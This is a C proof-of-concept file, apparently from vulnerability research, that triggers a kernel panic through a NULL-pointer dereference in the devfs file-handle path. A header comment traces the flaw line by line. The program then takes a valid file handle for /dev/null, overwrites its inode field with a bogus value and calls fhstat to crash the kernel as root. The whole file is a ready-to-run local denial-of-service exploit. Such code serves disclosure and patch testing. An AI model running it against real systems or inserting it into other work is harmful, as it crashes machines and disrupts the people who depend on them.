/*
 * DF-0773 trigger: NULL deref in devfs_inode_to_vnode -> vn_lock(NULL)
 *
 * Root-cause (sys/vfs/devfs/devfs_core.c):
 *   958  devfs_inode_to_vnode(mp, target)
 *   961      struct vnode *vp = NULL;
 *   967-970  msg->mdv_ino.mp/.ino set; send sync DEVFS_INODE_TO_VNODE
 *   971      vp = msg->mdv_ino.vp;            <- NULL if no node matches `target`
 *   972      vn_lock(vp, LK_EXCLUSIVE | LK_RETRY);   <- unconditional! deref NULL
 *
 * The dispatcher (sys/vfs/devfs/devfs_core.c:1373-1377) sets
 *   msg->mdv_ino.vp = devfs_iterate_topology(...)   <- NULL when no node matches
 *
 * devfs_vfs_fhtovp (sys/vfs/devfs/devfs_vfsops.c:214) and devfs_vfs_vget
 * (:249) both call devfs_inode_to_vnode and only check `if (vp == NULL)
 * return ENOENT' AFTER the call — but the panic already happened at line 972.
 *
 * Reachability: VFS_FHTOVP is the path behind fhopen(2)/fhstat(2)/fhstatfs(2),
 * all gated by SYSCAP_RESTRICTEDROOT (sys/kern/vfs_syscalls.c:4832/5013/5063).
 * So this is a PR:H local DoS — root can panic the kernel by passing a
 * fhandle whose fid_ino names no devfs node.
 *
 * This PoC:
 *   1. root calls getfh("/dev/null") to obtain a VALID devfs file handle
 *      (correct fsid + correct fid_gen=boottime.tv_sec),
 *   2. mutates fid_ino to a value no devfs node has (0xDEADBEEF),
 *   3. calls fhstat() — which goes VFS_FHTOVP -> devfs_vfs_fhtovp ->
 *      devfs_inode_to_vnode -> vn_lock(NULL) -> panic.
 *
 * Expected on a vulnerable kernel: kernel panic (NULL deref / fatal trap 12
 * in vn_lock->lockmgr), guest dies, ssh torn down.
 *
 * Build:  cc -o trigger trigger.c
 * Run:    ./trigger            (as root)
 */

#include <sys/types.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#ifndef SYS_getfh
#define SYS_getfh   161
#endif
#ifndef SYS_fhstat
#define SYS_fhstat  478
#endif
#ifndef SYS_fhopen
#define SYS_fhopen  298
#endif

/*
 * struct devfs_fid (sys/sys/devfs.h) — used INSIDE fhandle.fh_fid.fid_data
 *   uint16_t fid_len;
 *   uint16_t fid_pad;
 *   uint32_t fid_gen;   must equal boottime.tv_sec
 *   ino_t    fid_ino;   8 bytes on x86_64 (the byte we mutate)
 */
struct devfs_fid {
	uint16_t fid_len;
	uint16_t fid_pad;
	uint32_t fid_gen;
	ino_t    fid_ino;
};

static void
hexdump(const char *label, const void *p, size_t n)
{
	const unsigned char *b = p;
	size_t i;
	printf("%s (%zu bytes):", label, n);
	for (i = 0; i < n; i++) {
		if ((i % 16) == 0) printf("\n  %04zx:", i);
		printf(" %02x", b[i]);
	}
	printf("\n");
}

int
main(void)
{
	fhandle_t fh;
	struct stat sb;
	int rc;

	memset(&fh, 0, sizeof(fh));
	memset(&sb, 0, sizeof(sb));

	/* 1. Acquire a VALID devfs file handle for /dev/null. */
	rc = syscall(SYS_getfh, "/dev/null", &fh);
	if (rc != 0) {
		fprintf(stderr, "getfh(/dev/null) failed: %s (must run as root)\n",
		    strerror(errno));
		return 2;
	}
	printf("[+] getfh(\"/dev/null\") OK\n");
	hexdump("[+] raw fhandle", &fh, sizeof(fh));

	/* Sanity: confirm we are pointed at devfs (mnt_stat is filled by getfh
	 * via copyout — but we can also confirm with statfs). */
	{
		struct statfs sf;
		if (statfs("/dev/null", &sf) == 0) {
			printf("[+] /dev/null is on f_type=%s f_fsid=[0x%x,0x%x]\n",
			    sf.f_fstypename,
			    sf.f_fsid.val[0], sf.f_fsid.val[1]);
		}
	}

	/* 2. Mutate fid_ino inside the devfs_fid to an inode that does NOT
	 *    exist in any devfs node. devfs_inode_to_vnode_worker_callback
	 *    (devfs_core.c:2202) returns NULL unless node->d_dir.d_ino == target,
	 *    so devfs_iterate_topology returns NULL, msg->mdv_ino.vp=NULL, and
	 *    line 972 vn_lock(NULL) panics. */
	{
		struct devfs_fid *df = (struct devfs_fid *)&fh.fh_fid;
		/* keep fid_gen (== boottime.tv_sec) intact so we pass the
		 * devfs_vfs_fhtovp:211 gen check and reach line 214. */
		printf("[+] original devfs_fid: len=%u pad=%u gen=%u ino=%llu\n",
		    df->fid_len, df->fid_pad, df->fid_gen,
		    (unsigned long long)df->fid_ino);
		df->fid_ino = (ino_t)0xDEADBEEFCAFEBABEULL;
		printf("[+] mutated  devfs_fid: len=%u pad=%u gen=%u ino=%llu\n",
		    df->fid_len, df->fid_pad, df->fid_gen,
		    (unsigned long long)df->fid_ino);
	}

	printf("[*] calling fhstat() with bogus devfs fid_ino -> expect panic...\n");
	fflush(stdout);

	/* 3. fhstat -> VFS_FHTOVP(devfs) -> devfs_vfs_fhtovp -> devfs_inode_to_vnode
	 *    -> vn_lock(NULL) -> lockmgr(&vp->v_lock) deref 0x... -> fatal trap. */
	rc = syscall(SYS_fhstat, &fh, &sb);
	/* NOT REACHED on a vulnerable kernel */
	printf("[-] fhstat returned rc=%d errno=%d (%s) — NOT vulnerable?\n",
	    rc, errno, strerror(errno));
	return 1;
}
